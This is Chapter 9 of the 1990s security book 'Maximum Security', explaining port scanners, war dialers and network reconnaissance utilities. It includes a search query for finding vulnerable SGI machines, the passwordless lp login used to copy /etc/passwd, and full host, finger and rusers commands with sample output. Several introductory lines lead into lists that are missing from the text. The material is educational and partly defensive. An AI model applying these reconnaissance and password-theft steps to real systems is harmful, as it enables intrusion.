Maximum Security:

A Hacker's Guide to Protecting Your Internet Site and Network

Previous chapterNext chapterContents


9

Scanners

In this chapter, I examine scanners. The structure of this chapter is straightforward and very similar to previous chapters. It begins by answering some basic questions, including

After answering these questions, I will examine the historical background of scanners.

From there, I cover the scanner from a more practical viewpoint. I will differentiate between true scanners are other diagnostic network tools. I will examine different types of scanners, especially very popular ones (such as SATAN and Strobe). At that point, you will gain understanding of what constitutes a scan and what ingredients are necessary to create a scanner.

Finally, you will conduct a scan and analyze what information has been gained from it. In this way, you will derive an inside look at scanner functionality. By the end of this chapter, you will know what a scanner is, how to deploy one, and how to interpret the results from a scan. In short, I will prepare you for actual, network combat using scanners.

Scanners

In Internet security, no hacking tool is more celebrated than the scanner. It is said that a good TCP port scanner is worth a thousand user passwords. Before I treat the subject of scanners in depth, I want to familiarize you with scanners.

What Is a Scanner?

A scanner is a program that automatically detects security weaknesses in a remote or local host. By deploying a scanner, a user in Los Angeles can uncover security weaknesses on a server in Japan without ever leaving his or her living room.

How Do Scanners Work?

True scanners are TCP port scanners, which are programs that attack TCP/IP ports and services (Telnet or FTP, for example) and record the response from the target. In this way, they glean valuable information about the target host (for instance, can an anonymous user log in?).

Other so-called scanners are merely UNIX network utilities. These are commonly used to discern whether certain services are working correctly on a remote machine. These are not true scanners, but might also be used to collect information about a target host. (Good examples of such utilities are the rusers and host commands, common to UNIX platforms.) Such utilities are discussed later in this chapter.


Cross Reference: rusers gathers information about users currently logged to the targeted host and in this way, closely resembles the UNIX utility finger. host is also a UNIX utility, designed to interactively query name servers for all information held on the targeted host.

On What Platforms Are Scanners Available?

Although they are commonly written for execution on UNIX workstations, scanners are now written for use on almost any operating system. Non-UNIX scanning tools are becoming more popular now that the rest of the world has turned to the Internet. There is a special push into the Microsoft Windows NT market, because NT is now becoming more popular as an Internet server platform.

What System Requirements Are Necessary to Run a Scanner?

System requirements depend on the scanner, your operating system, and your connection to the Internet. Certain scanners are written only for UNIX, making UNIX a system requirement. There are, however, more general requirements of which to be aware:

Bottom line, you must have a compatible operating system, a modem (or other connection to the Net), and some measure of patience. Not all scanners work identically on different platforms. On some, this or that option might be disabled; on others, sometimes very critical portions of the application might not work.

Is It Difficult to Create a Scanner?

No. However, you will require strong knowledge of TCP/IP routines and probably C, Perl, and/or one or more shell languages. Developing a scanner is an ambitious project that would likely bring the programmer much satisfaction. Even so, there are many scanners available (both free and commercial), making scanners a poor choice as a for-profit project.

You will also require some background in socket programming, a method used in the development of client/server applications.


Cross Reference: There are many resources online to help you get started; I list two here. The first is a bare-bones introduction to socket programming generated by Reg Quinton at The University of Western Ontario. It can be found at http://tecstar.cv.com/~dan/tec/primer/socket_programming.html.

Another excellent source for information about socket programming is provided by Quarterdeck Office Systems as an online programming resource. It addresses all supported BSD 4.3 socket routines and is very comprehensive. It is located at http://149.17.36.24/prog/sockets.html.


What Will a Scanner Tell Me?

A scanner might reveal certain inherent weaknesses within the target host. These might be key factors in implementing an actual compromise of the target's security. In order to reap this benefit, however, you must know how to recognize the hole. Most scanners do not come with extensive manuals or instructions. Interpretation of data is very important.

What Won't a Scanner Tell Me?

A scanner won't tell you the following:

Are Scanners Legal?

Yes. Scanners are most often designed, written, and distributed by security personnel and developers. These tools are usually given away, via public domain, so that system administrators can check their own systems for weaknesses. However, although scanners are not illegal to possess or use, employing one if you are not a system administrator would meet with brutal opposition from the target host's administrator. Moreover, certain scanners are so intrusive in their probing of remote services that the unauthorized use of them may violate federal or state statutes regarding unauthorized entry of computer networks. This is a matter of some dispute and one not yet settled in law. Therefore, be forewarned.


WARNING: Do not take scanning activity lightly. If you intend to scan wide ranges of domains, check the laws in your state. Certain states have extremely particular legislation. The wording of such statutes is (more often than not) liberally construed in favor of the prosecution. For example, the state of Washington has provisions for computer trespass. (Wash. Rev. Code Sec. 9A.52 110-120.) If you deploy a scanner that attempts to steal the passwd file (a password file on the UNIX platform located in the directory /ETC), you might actually have committed an offense. I will discuss legal issues of hacking and cracking in Chapter 31, "Reality Bytes: Computer Security and the Law."

Why Are Scanners Important to Internet Security?

Scanners are important to Internet security because they reveal weaknesses in the network. Whether this information is used by hackers or crackers is immaterial. If used by system administrators, scanners help strengthen security in the immediate sense. If employed by crackers, scanners also help strengthen security. This is because once a hole has been exploited, that exploitation will ultimately be discovered. Some system administrators argue that scanners work against Internet security when in the hands of crackers. This is not true. If a system administrator fails to adequately secure his or her network (by running a scanner against it), his or her negligence will come to light in the form of a network security breach.

Historical Background

Scanners are the most common utilities employed by today's cracker. There is no mystery as to why: These programs, which automatically detect weaknesses within a server's security structure, are fast, versatile, and accurate. More importantly, they are freely available on the Internet. For these reasons, many sources insist that the scanner is the most dangerous tool in the cracking suite.

To understand what scanners do and how they are employed, you must look to the dawn of computer hacking. Transport yourself to the 1980s, before the personal computer became a household item. The average machine had a 10MB hard disk drive and a whopping 640K memory. In fact, our more mature readers will remember a time when hard disk drives did not exist. In those early days, work was done by rotating through a series of 5" floppy diskettes; one for the operating system, one for the current program, and one to save your work.

Those early days are rather amusing in retrospect. Communications were conducted, if at all, with modems ranging in speed from 300 to 1200bps. Incredibly, we got along rather well with these meager tools.

The majority of users had never heard of the Internet. It existed, true, but was populated primarily by military, research, and academic personnel. Its interface--if we could call it that--was entirely command-line based. But these were not the only limitations preventing America from flocking to the Net. Machines that could act as servers were incredibly expensive. Consider that Sun Microsystems workstations were selling for five and six figures. Today, those same workstations--which are scarcely more powerful than a 25MHz 386--command less than $800 on Usenet.

We're talking frontier material here. Civilians with Internet access were generally students with UUCP accounts. Dial-up was bare-bones, completely unlike today's more robust SLIP, PPP, and ISDN access. In essence, the Internet was in its infancy, its existence largely dependent on those early software authors concerned with developing the system.

Security at that point was so lax that some readers will wonder why the Internet was not completely overtaken by crackers. The answer is simple. Today, there are massive online databases and mailing lists that broadcast weaknesses of a dozen different operating systems. Table 9.1 lists a few examples.

Table 9.1. Online mailing lists of security holes.

Resource Location
Firewalls mailing list Firewalls@GreatCircle.COM
Sneakers mailing list Sneakers@CS.Yale.EDU
The WWW security list WWW-security@ns2.rutgers.edu
The NT security list Ntsecurity@ISS
Bugtraq BUGTRAQ@NETSPACE.ORG

Dozens of such mailing lists now exist on the Internet (for a comprehensive list, see Appendix A, "How to Get More Information"). These lists operate almost completely free of human interaction or maintenance. List members forward their reports via e-mail, and this e-mail is distributed to the entire list, which can sometimes be many thousands of people worldwide. In addition, such lists are usually archived at one or more sites, which feature advanced search capabilities. These search capabilities allow any user, list member, or otherwise to search for inherent vulnerabilities in every operating system known to humankind.


Joining a list: Joining such a list is generally a simple process. Most lists require that you send an e-mail message to a special address. This address accepts commands from your first line of the e-mail message. The structure of this command may vary. In some cases, that command is as simple as subscribe. In other cases, you may be required to issue arguments to the command. One such argument is the name of the list. For example, the Firewalls mailing list at GreatCircle.com requires that you send subscribe firewalls as the first line of your e-mail.

Please note that this must be the first line of the e-mail message, and not the subject line. This message is then sent to majordomo@greatcircle.com. The address majordomo is a very common one for processing mailing list subscription requests. Of course, each list is different. To quickly determine the requirements for each security list, I suggest you use Eugene Spafford's Web page as a springboard. Mr. Spafford lists links on his page to most of the well-known security mailing lists.



Cross Reference: Spafford's page is at http://www.cs.purdue.edu/homes/spaf/hotlists/csec-top.html. From Spafford's page, you can get to instructions on how to subscribe to any of the linked lists.

In the beginning, however, there were no such databases. The databases did not exist largely because the knowledge did not exist. The process by which holes get discovered inherently involves the exploitation of such weaknesses. More simply put, crackers crack a machine here and a machine there. By and by, the weaknesses that were exploited in such attacks were documented (and in certain instances, eradicated by later, superior code). This process, as you might expect, took many years. The delay was based in part on lack of knowledge and in part on the unwillingness of many system administrators to admit their sites had been penetrated. (After all, no one wants to publicize that he implements poor security procedures.)

So the stage is set. Picture a small, middle-class community with stately homes and nicely trimmed lawns. It is near midnight. The streets are empty; most of the windows in the neighborhood are dark, their shades drawn tight. One window is brightly lit, though, and behind it is a young man of 15 years; before him is a computer (for the sake of atmosphere, let's label it an old portable CoreData).

The boy is dialing a list of telephone numbers given to him by a friend. These are known UNIX boxes sprinkled throughout a technology park a few miles away. Most of them accept a connection. The common response is to issue a login prompt. Each time the boy connects to such a machine, he tries a series of login names and passwords. He goes through a hundred or more before finally, he obtains a login shell. What happens then is up to him.

It is hard to believe that early cracking techniques involved such laborious tasks. Depending on the operating system and the remote access software, one might have to type dozens of commands to penetrate a target. But, as much as crackers are industrious, they are also lazy. So, early on, the war dialer was developed.

A war dialer consists of software that dials a user-specified range of telephone numbers searching for connectables (machines that will allow a remote user to log in). Using these tools, a cracker can scan an entire business exchange in several hours, identifying all hosts within that range. In this way, the task of locating targets was automated.

Better yet, war dialers record the response they receive from each connect. This data is then exported to a human-readable file. Thus, in neatly written tables, one can tell not only which numbers connected, but also what type of connection was initiated (such as modem, 2400 baud or fax machine).


NOTE: The term war dialer reportedly originated from the film WarGames. The film's plot centered around a young man who cracked his way into American military networks. Some people believe that the film was inspired by the antics of the now-famous cracker, Kevin Mitnik. Mitnik was a young teen when he cracked a key military network.


Cross Reference: If you want to check out a war dialer in action, I suggest getting Toneloc. It is freely available on the Internet and is probably the best war dialer ever made. It was written to run in DOS, but it also runs in Windows 95 via command prompt (though perhaps not as smoothly as it should). It is available at ftp://ftp.fc.net/pub/defcon/TONELOC/tl110.zip.

In essence, scanners operate much like war dialers with two exceptions:

Early scanners were probably very simplistic. I say probably because such programs were not released to the Internet community the way scanning tools are today (I therefore have no way of knowing what they looked like). Thus, when I write of early scanners, I mean basic programs written by system administrators for the purposes of checking their own networks. These were most likely UNIX shell scripts that attempted to connect on various ports, capturing whatever information was directed to the console or STDOUT. STDOUT refers to the output that one sees on the console or at a command prompt. In other words, it is the output of a given command. The STD refers to standard, and the OUT refers to output. STDOUT, therefore, is the standard output of any given command. The STDOUT result of a directory listing, for example, is a list of filenames and their sizes.

The Attributes of a Scanner

The primary attributes of a scanner are

This process is not incredibly complex. At its most basic, it involves capturing the messages generated when one tries to connect to a particular service. To illustrate the process step by step, let's address these attributes one at a time.

Locating a Potential Target

The Internet is vast. There are literally millions of potential targets in the void. The problem facing modern crackers is how to find those targets quickly and effectively. Scanners are well suited for this purpose. To demonstrate how a scanner can find a potential target, determine what services it is running, and probe for weaknesses, let's pick on Silicon Graphics (SGI) for the remainder of this section. Here, you will see how scanners are regularly employed to automate human cracking tasks.

A Hole Is Discovered

In late 1995, Silicon Graphics (SGI) shipped a large number of WebForce models. These were extremely powerful machines, containing special software to generate media-rich WWW pages. They ran IRIX, a proprietary form of UNIX, specifically designed for use with SGI graphics workstations.

Certain versions of IRIX retained a default login for the line printer. That is, if a user initiated a Telnet session to one of these SGI boxes and logged in as lp, no password would be required.

Typically, the cracker would be dropped to a shell prompt from which he or she could execute a limited number of commands. Most of these were standard shell commands, available to any user on the system. These did not require special privileges and performed only basic functions, such as listing directories, displaying the contents of files, and so forth. Using these commands, crackers could print the contents of the passwd file to the screen. Once they had obtained this display, they would highlight the screen, clip the contents, and paste them into a text editor on their local machine. They would save this information to a local file and subsequently crack the encrypted passwords from the SGI system.


TIP: A number of automated password-cracking utilities exist. Most often, these are designed to crack DES-encrypted passwords, common to UNIX systems. I will cover these utilities in Chapter 10, "Password Crackers."

News of this vulnerability spread quickly. Within days, the word was out: SGI WebForce machines could be attacked (and their security compromised) with little effort. For crackers, the next step was to find these machines.

Looking for WebForce Models

To exploit this hole, crackers needed to find WebForce models. One way to do so was manually. For a time, search engines such as altavista.digital.com could be used to locate such machines en masse. This is because many of the WebForce models were administrated by those with strong knowledge of graphic arts and weak knowledge of security. These administrators often failed to institute even the most basic security measures. As such, many of these machines retained world-readable FTP directories. These directories were therefore visible to search engines across the Internet.

The FTP directories of these SGI models contained standard, factory-default /etc/passwd files. Contained within these were the login names of system users. The majority of these login names were common to almost any distribution of UNIX. However, these passwd files also included unique login names. Specifically, they contained login names for several utilities and demo packages that shipped with the software. One of these was a login called EZSetup. Thus, a cracker needed only to issue the following search string into any well known search engine:

EzSetup + root: lp:

This would return a list of WebForce models. The cracker would then take that list and attempt to crack each machine. It was a quick and dirty way to collect a handful of potential targets. However, that trend didn't last long (about a month or so). Advisories were posted to the Net, explaining that world-readable directories were responsible for the compromise of SGI security. So crackers turned elsewhere.

Some used the InterNIC database to find such machines (the WHOIS service). The WHOIS service, housed at internic.net, is a database of all registered machines currently on the Internet. One can query this database (to find out the network numbers or the owner's address of a given machine) by issuing a WHOIS instruction at a UNIX command prompt. The structure of such a command is whois mci.net. For those who do not use UNIX, one can either Telnet directly to InterNIC (internic.net) or use one of the utilities described later in this chapter.

Many hosts included words within their registered names that suggested at least a fleeting probability that they owned an SGI, such as

The terms Indy and Indigo commonly appear on either the Web site or the directory structure of an SGI workstation. That is because the product line is based on the Indigo model, which is often referred to as the Indy product line.

Some InterNIC entries also include the operating system type being run on the host. Thus, a search for the string IRIX could reveal a few machines. However, these methods were unreliable. For example, many versions of IRIX did not suffer from the lp bug (neither did every WebForce model). So, instead, many crackers employed scanners.

Using Scanners to Uncover WebForce Models

Finding WebForce models using a scanner was an easy task. A range of addresses (such as 199.171.190.0 to 199.171.200.0) would be picked out, perhaps randomly, perhaps not. The cracker would specify certain options. For example, the scan didn't need to have great depth (an issue we will be discussing momentarily). All it needed to do was check each address for a Telnet connection. For each successful connection, the scanner would capture the resulting text. Thus, a typical entry might look something like this:

Trying 199.200.0.0
Connected to 199.200.0.0
Escape Character is "]"

IRIX 4.1
Welcome to Graphics Town!
Login:

The resulting information would be written to a plain text file for later viewing.

Talented crackers would write an ancillary program to automate the entire process. Here are the minimum functions that such a program would require:

The scan would run for several hours, after which the cracker would retrieve a list of compromised Indy machines. Later, perhaps at night (relative to the geographical location of the target host), the cracker would log in and being the process of grabbing the password files.


TIP: If you know of an SGI machine and you want to view the IP address of the last person who exploited this vulnerability, finger lp@the.sgi.box. This author traced down a person at Texas A&M University who was compromising machines from Los Angeles to New York using this technique. This young man's originating address appeared on 22 machines. (Some of these were of well- known institutions. While we cannot identify them here, one was a graphic design school in New York City. Another was a prominent gay rights organization in Los Angeles. To this day, these machines may well be vulnerable to such an attack. Alas, many SGI users are gifted graphic artists but have little background in security. A renowned university in Hawaii missed this hole and had an entire internal network torn to pieces by a cracker. He changed the root passwords and destroyed valuable data.)


NOTE: If you currently have a WebForce model, you can test whether it is vulnerable to this simple attack. First, Telnet to the machine. When confronted with a login prompt, enter the string lp and press Enter. If you are immediately logged into a shell, your machine is vulnerable. If so, this can be quickly remedied by opening the file /etc/passwd and inserting an asterisk between the first and second fields for the user lp. Thus, the leading portion of the line would look like this:

lp:*:4:7:lp:/var/spool/lpd: 

instead of like this:

lp::4:7:lp:/var/spool/lpd:

The idea is to create a locked login. If you fail to do so, the problem will remain because the system is configured to accept a line printer login without requesting a password.


Of course, this is a very primitive example, but it illustrates how potential targets are sometimes found with scanners. Now I want to get more specific. Momentarily, you will examine various scanners currently available on the Internet. Before that, however, you need to distinguish between actual scanners and network utilities that are not scanners.

Network Utilities

Sometimes people erroneously refer to network utilities as scanners. It is an easy mistake to make. In fact, there are many network utilities that perform one or more functions that are also performed during a bona fide scan. So, the distinction is significant only for purposes of definition.

Because we are focusing on scanners, I would like to take a moment to illustrate the distinction. This will serve two purposes: First, it will more clearly define scanners. Second, it will familiarize you with the rich mixture of network resources available on the Internet.

The network utilities discussed next run on a variety of platforms. Most of them are ported from UNIX environments. Each utility is valuable to hackers and crackers. Surprisingly, garden-variety network utilities can tell the user quite a bit, and these utilities tend to arouse less suspicion. In fact, many of them are totally invisible to the target host. This is in sharp contrast to most scanners, which leave a large footprint, or evidence of their existence, behind. In this respect, most of these utilities are suitable for investigating a single target host. (In other words, the majority of these utilities are not automated and require varying levels of human interaction in their operation.)

host

host is a UNIX-specific utility that performs essentially the same operation as a standard nslookup inquiry. The only real difference is that host is more comprehensive. Note, too, that various non-UNIX utilities discussed in the following pages also perform similar or equivalent tasks.

host ranks as one of the ten most dangerous and threatening commands in the gamut. To demonstrate why, I pulled a host query on Boston University (BU.EDU). The command line given was

host -l -v -t any bu.edu

The output you are about to read is astonishing. A copious amount of information is available, including data on operating systems, machines, and the network in general. (Also, if you are deep into security, some preliminary assumptions might be made about trust relationships.) Examine a few lines. First, let's look at the basic information:

Found 1 addresses for BU.EDU
Found 1 addresses for RS0.INTERNIC.NET
Found 1 addresses for SOFTWARE.BU.EDU
Found 5 addresses for RS.INTERNIC.NET
Found 1 addresses for NSEGC.BU.EDU
Trying 128.197.27.7
bu.edu    86400 IN    SOA    BU.EDU HOSTMASTER.BU.EDU(
            961112121    ;serial (version)
            900    ;refresh period
            900    ;retry refresh this often
            604800    ;expiration period
            86400    ;minimum TTL
            )
bu.edu    86400 IN    NS    SOFTWARE.BU.EDU
bu.edu    86400 IN    NS    RS.INTERNIC.NET
bu.edu    86400 IN    NS    NSEGC.BU.EDU
bu.edu    86400 IN    A    128.197.27.7

This in itself is not damaging. It identifies a series of machines and their name servers. Most of this information could be collected with a standard WHOIS lookup. But what about the following lines:

bu.edu    86400 IN    HINFO    SUN-SPARCSTATION-10/41    UNIX
PPP-77-25.bu.edu    86400 IN    A    128.197.7.237
PPP-77-25.bu.edu    86400 IN    HINFO    PPP-HOST    PPP-SW
PPP-77-26.bu.edu    86400 IN    A    128.197.7.238
PPP-77-26.bu.edu    86400 IN    HINFO    PPP-HOST    PPP-SW
ODIE.bu.edu    86400 IN    A    128.197.10.52
ODIE.bu.edu    86400 IN    MX    10 CS.BU.EDU
ODIE.bu.edu    86400 IN    HINFO    DEC-ALPHA-3000/300LX    OSF1

Here, we are immediately aware that a DEC Alpha running OSF/1 is available (ODIE.bu.edu). And then:

STRAUSS.bu.edu    86400 IN    HINFO    PC-PENTIUM    DOS/WINDOWS
BURULLUS.bu.edu    86400 IN    HINFO    SUN-3/50    UNIX (Ouch)
GEORGETOWN.bu.edu    86400 IN    HINFO    MACINTOSH    MAC-OS
CHEEZWIZ.bu.edu    86400 IN    HINFO    SGI-INDIGO-2    UNIX
POLLUX.bu.edu    86400 IN    HINFO    SUN-4/20-SPARCSTATION-SLC    UNIX
SFA109-PC201.bu.edu    86400 IN    HINFO    PC    MS-DOS/WINDOWS
UH-PC002-CT.bu.edu    86400 IN    HINFO    PC-CLONE    MS-DOS
SOFTWARE.bu.edu    86400 IN    HINFO    SUN-SPARCSTATION-10/30    UNIX
CABMAC.bu.edu    86400 IN    HINFO    MACINTOSH    MAC-OS
VIDUAL.bu.edu    86400 IN    HINFO    SGI-INDY    IRIX
KIOSK-GB.bu.edu    86400 IN    HINFO    GATORBOX    GATORWARE
CLARINET.bu.edu    86400 IN    HINFO    VISUAL-X-19-TURBO    X-SERVER
DUNCAN.bu.edu    86400 IN    HINFO    DEC-ALPHA-3000/400    OSF1
MILHOUSE.bu.edu    86400 IN    HINFO    VAXSTATION-II/GPX    UNIX
PSY81-PC150.bu.edu    86400 IN    HINFO    PC    WINDOWS-95
BUPHYC.bu.edu    86400 IN    HINFO    VAX-4000/300    OpenVMS

I have omitted the remaining entries for sake of brevity. The inquiry produced a plain text file of some 70KB (over 1500 lines in all).

The point here is this: Anyone, with a single command-line, can gather critical information on all machines within a domain. When crackers looks at the preceding information, they are really seeing this:

As you can easily see, even minor information about the operating system can lead to problems. In reality, the staff at BU.EDU has likely plugged all the holes mentioned here. But that doesn't mean that every host has. Most haven't.

A host lookup takes less than three seconds, even when the network is under heavy system load. It is quick, legal, and extremely revealing.


CAUTION: There are various ways to protect against this. One way is to run a firewall. Another is to restrict queries of name servers to a particular set of addresses. Another is to completely disallow outside access to your name servers.

Traceroute

Traceroute's name is quite descriptive. In short, it traces the route between two machines. As explained in the man (manual) page:

Tracking the route one's packets follow (or finding the miscreant gate way that's discarding your packets) can be difficult. Traceroute utilizes the IP protocol `time to live' field and attempts to elicit an ICMP TIME_EXCEEDED response from each gateway along the path to some host.


NOTE: Man pages are manual pages on the UNIX platform. These are the equivalent of help files. They can be called from a command prompt or from a windowed system. On a full install of UNIX, these man pages cover help on all commands one can issue from a prompt. They also cover most programming calls in C and C++.

This utility can be used to identify the location of a machine. Suppose, for example, that you are trying to track down an individual who posted from a box connected to his or her ISP via PPP. Suppose that the posting revealed nothing more than an IP address that, when run through a WHOIS search, produces nothing (that is, the address is not the address of a registered domain). You can find that machine by issuing Traceroute requests. The second to last entry is generally the network from which the activity originated. For example, examine this Traceroute trace going from a machine in France (freenix.fr) to mine:

 1  193.49.144.224 (193.49.144.224)  3 ms  2 ms  2 ms
 2  gw-ft.net.univ-angers.fr (193.49.161.1)  3 ms  3 ms  3 ms
 3  angers.or-pl.ft.net (193.55.153.41)  5 ms  5 ms  5 ms
 4  nantes1.or-pl.ft.net (193.55.153.9)  13 ms  10 ms  10 ms
 5  stamand1.renater.ft.net (192.93.43.129)  25 ms  44 ms  67 ms
 6  rbs1.renater.ft.net (192.93.43.186)  45 ms  30 ms  24 ms
 7  raspail-ip2.eurogate.net (194.206.207.18)  51 ms  50 ms  58
 8  raspail-ip.eurogate.net (194.206.207.58) 288 ms311 ms 287 ms
 9  * Reston.eurogate.net (194.206.207.5)  479 ms  469 ms
10  gsl-sl-dc-fddi.gsl.net (204.59.144.199) 486 ms 490 ms  489 ms
11  sl-dc-8-F/T.sprintlink.net (198.67.0.8)  475 ms *  479 ms
12  sl-mae-e-H2/0-T3.sprintlink.net (144.228.10.42)498 ms  478 ms
13  mae-east.agis.net (192.41.177.145)  391 ms  456 ms  444 ms
14  h0-0.losangeles1.agis.net (204.130.243.45)714 ms 556 ms714 ms
15  pbi10.losangeles.agis.net (206.62.12.10) 554 ms 543 ms 505 ms
16  lsan03-agis1.pbi.net (206.13.29.2)  536 ms  560 ms *
17  * * *
18  pm1.pacificnet.net (207.171.0.51)  556 ms  560 ms  561 ms
19  pm1-24.pacificnet.net (207.171.17.25)  687 ms  677 ms  714 ms

From this, it is clear that I am located in Los Angeles, California:

pbi10.losangeles.agis.net (206.62.12.10)  554 ms  543 ms  505 ms

and occupy a place at pacificnet.net:

pm1.pacificnet.net (207.171.0.51)  556 ms  560 ms  561 ms

Traceroute can be used to determine the relative network location of a machine in the void.

Note that you needn't have UNIX (or a UNIX variant) to run Traceroute queries. There are Traceroute gateways all over the Internet. And, although these typically trace the route only between the Traceroute gateway and your target, they can at least be used to pin down the local host of an IP address.


Cross Reference: Try the Traceroute gateway at http://www.beach.net/traceroute.html.

rusers and finger

rusers and finger can be used together to glean information on individual users on a network. For example, a rusers query on the domain wizard.com returns this:

gajake       snark.wizard.com:ttyp1  Nov 13 15:42  7:30 (remote)
root         snark.wizard.com:ttyp2  Nov 13 14:57  7:21 (remote)
robo         snark.wizard.com:ttyp3  Nov 15 01:04  01 (remote)
angel111     snark.wizard.com:ttyp4  Nov14 23:09       (remote)
pippen       snark.wizard.com:ttyp6 Nov 14 15:05         (remote)
root         snark.wizard.com:ttyp5 Nov 13 16:03    7:52 (remote)
gajake       snark.wizard.com:ttyp7 Nov 14 20:20    2:59 (remote)
dafr         snark.wizard.com:ttyp15Nov  3 20:09    4:55 (remote)
dafr         snark.wizard.com:ttyp1 Nov 14 06:12   19:12 (remote)
dafr         snark.wizard.com:ttyp19Nov 14 06:12   19:02 (remote)

As an interesting exercise, compare this with finger information collected immediately after:

user S00  PPP ppp-122-pm1.wiza  Thu Nov 14 21:29:30 - still logged in
user S15  PPP ppp-119-pm1.wiza  Thu Nov 14 22:16:35 - still logged in
user S04  PPP ppp-121-pm1.wiza  Fri Nov 15 00:03:22 - still logged in
user S03  PPP ppp-112-pm1.wiza  Thu Nov 14 22:20:23 - still logged in
user S26  PPP ppp-124-pm1.wiza  Fri Nov 15 01:26:49 - still logged in
user S25  PPP ppp-102-pm1.wiza  Thu Nov 14 23:18:00 - still logged in
user S17  PPP ppp-115-pm1.wiza  Thu Nov 14 07:45:00 - still logged in
user S-1  0.0.0.0           Sat Aug 10 15:50:03 - still logged in
user S23  PPP ppp-103-pm1.wiza  Fri Nov 15 00:13:53 - still logged in
user S12  PPP ppp-111-pm1.wiza  Wed Nov 13 16:58:12 - still logged in

Initially, this information might not seem valuable. However, it is often through these techniques that you can positively identify a user. For example, certain portions of the Internet offer varying degrees of anonymity. Internet Relay Chat (IRC) is one such system. A person connecting with a UNIX-based system can effectively obscure his or her identity on IRC but cannot easily obscure the IP address of the machine in use. Through sustained use of both the finger and rusers commands, you can pin down who that user really is.


NOTE: finger and rusers are extensively discussed in Chapter 13, "Techniques to Hide One's Identity." Nonetheless, I'd like to provide a brief introduction here: finger and rusers are used to both identify and check the current status of users logged on to a particular machine. For example, you can find out the user's real name (if available), his or her last time of login, and what command shell he or she uses. Not all sites support these functions. In fact, most PC-based operating systems do not without the installation of special server software. However, even many UNIX sites no longer support these functions because they are so revealing. finger and rusers are now considered security risks in themselves.

Nevertheless, this explanation doesn't reveal the value of these utilities in relation to cracking. In the same way that one can finger a user, one can also finger several key processes. Table 9.2 contains some examples.

Table 9.2. Processes that can be fingered.

Process Purpose
lp The Line Printer daemon
UUCP UNIX to UNIX copy
root Root operator
mail The Mail System daemon

By directing finger inquiries on these accounts, you can glean valuable information about them, such as their base directory as well as the last time they were used or logged in.

Thus, rusers, when coupled with finger, can produce interesting and often revealing results. I realize, of course, that you might trivialize this information. For, what value is there in knowing when and where logins take place?

In fact, there are many instances in which such information has value. For example, if you are truly engaged in cracking a specific system, this information can help you build a strong database of knowledge about your target. By watching logins, you can effectively identify trust relationships between machines. You can also reliably determine the habits of the local users. All these factors could have significant value.

Showmount

Showmount reveals some very interesting information about remote hosts. Most importantly, invoked with the -e command line option, showmount can provide a list of all exported directories on a given target. These directories might or might not be mountable from anywhere on the Internet.

On Other Platforms

None of the mentioned UNIX utilities are scanners. However, they do reveal important information about the target machine. And not surprisingly, the computing community has ported quite a few of these utilities to other platforms (not everyone has a UNIX workstation in their living room). It wouldn't be fair to continue without briefly covering those ported utilities here.

On Windows 95

Windows 95 now supports many network analysis utilities. Some of these are straight ports from UNIX commands, and others are programs built from the ground up. In both cases, the majority of these tools are shareware or freeware. You can use these tools to learn much about networking.

NetScan Tools The NetScan Tools suite contains a series of UNIX utilities ported to Windows 95. Its development team claims that by utilizing ping, network administrators can identity unauthorized machines utilizing IP addresses on their subnets. The program also contains ports of WHOIS, finger, ping, and Traceroute.


Cross Reference: The Netscan Tools suite is shareware and is available at http://www.eskimo.com/~nwps/index.html.

Network Toolbox Network Toolbox is very similar to the Netscan Tools suite. It consists of a port of nine separate UNIX utilities. This utility has an interesting feature called IP Address Search, which allows the user to search for machines within a given range of IP addresses. Otherwise, it has the usual fare: finger, DNS, WHOIS, and so on. One special amenity of this suite is that it is exceedingly fast. This utility is discussed in greater detail later in this chapter.


Cross Reference: You can find Network Toolbox at http://www.jriver.com/netbox.html.

TCP/IP Surveyor This tool is quite impressive; not only does it gather information about networks and reachable machines, it formats it into a graphical representation that maps routers, workstations, and servers.


Cross Reference: TCP/IP Surveyor is shareware and can be found at ftp://wuarchive.wustl.edu/systems/ibmpc/win95/netutil/wssrv32n.zip.

On Macintosh

There has been a sharp increase in development of network analysis tools on the Macintosh platform. Many of these applications are first rate and, in traditional Mac platform style, are extremely easy to use.

MacTCP Watcher This utility provides ping, DNS lookups, and general monitoring of connections initiated by protocols within the TCP/IP suite.


Cross Reference: As of version 1.12, this utility has been designated freeware. However, by the time this book is printed, that situation might change. Get it at http://www.share.com/share/peterlewis/mtcpw/.

Query It! Query It! is a solid utility that performs basic nslookup inquiries. It generates information that is very similar to that generated using the host command.


Cross Reference: Get Query It! at http://www.cyberatl.net/~mphillip/index.html#Query It!.

WhatRoute WhatRoute is a port of the popular UNIX utility Traceroute.


Cross Reference: WhatRoute is a freeware program and is available at various locations on the Internet, including http://homepages.ihug.co.nz/~bryanc/.

On AS/400

The AS/400 platform, as of AS/400 V3R1 (and Client Access/400), has excellent internal support for most TCP/IP utilities, including ping and netstat.


Cross Reference: For those interested in studying the fine points of TCP/IP implementation on AS/400, I highly recommend the white paper "TCP/IP Connectivity in an AS/400 Environment" by David Bernard. (News/400. February 1996.) It can be found at http://204.56.55.10/Education/WhitePapers/tcpip/tcpip.htm.

These utilities will always be available to users, even if scanners are not. Moreover, because the Internet is now traveled by more and more new users, utilities to analyze network connections will be commonplace on all platforms.

The Scanners

Having discussed various network analysis utilities, we can now move on to bona fide scanners. Let's take a look at today's most popular scanners.

NSS (Network Security Scanner)

NSS (Network Security scanner) is a very obscure scanner. If you search for it using a popular search engine, you will probably find fewer than 20 entries. This doesn't mean NSS isn't in wide use. Rather, it means that most of the FTP sites that carry it are shadowed or simply unavailable via archived WWW searches.

NSS differs from its counterparts in several ways, the most interesting of which is that it's written in Perl. (SATAN is also partially written in Perl. ISS and Strobe are not.) This is interesting because it means that the user does not require a C compiler. This might seem like a small matter, but it's not. Crackers and hackers generally start out as students. Students may acquire shell accounts on UNIX servers, true, but not every system administrator allows his or her users access to a C compiler. On the other hand, Perl is so widely used for CGI programming that most users are allowed access to Perl. This makes NSS a popular choice. (I should explain that most scanners come in raw, C source. Thus, a C compiler is required to use them.)

Also, because Perl is an interpreted (as opposed to compiled) language, it allows the user to make changes with a few keystrokes. It is also generally easier to read and understand. (Why not? It's written in plain English.) To demonstrate the importance of this, consider the fact that many scanners written in C allow the user only minimal control over the scan (if the scanner comes in binary form, that is). Without the C source code, the user is basically limited to whatever the programmer intended. Scanners written in Perl do not generally enforce such limitations and are therefore more easily extensible (and perhaps portable to any operating system running Perl 4 or better).

NSS was reportedly written on the DEC platform (DecStation 5000 and Ultrix 4.4). It generally works out the box on SunOS 4.1.3 and IRIX 5.2. On other platforms, it may require basic or extensive porting.

The basic value of NSS is its speed. It is extremely fast. Routine checks that it can perform include the following:


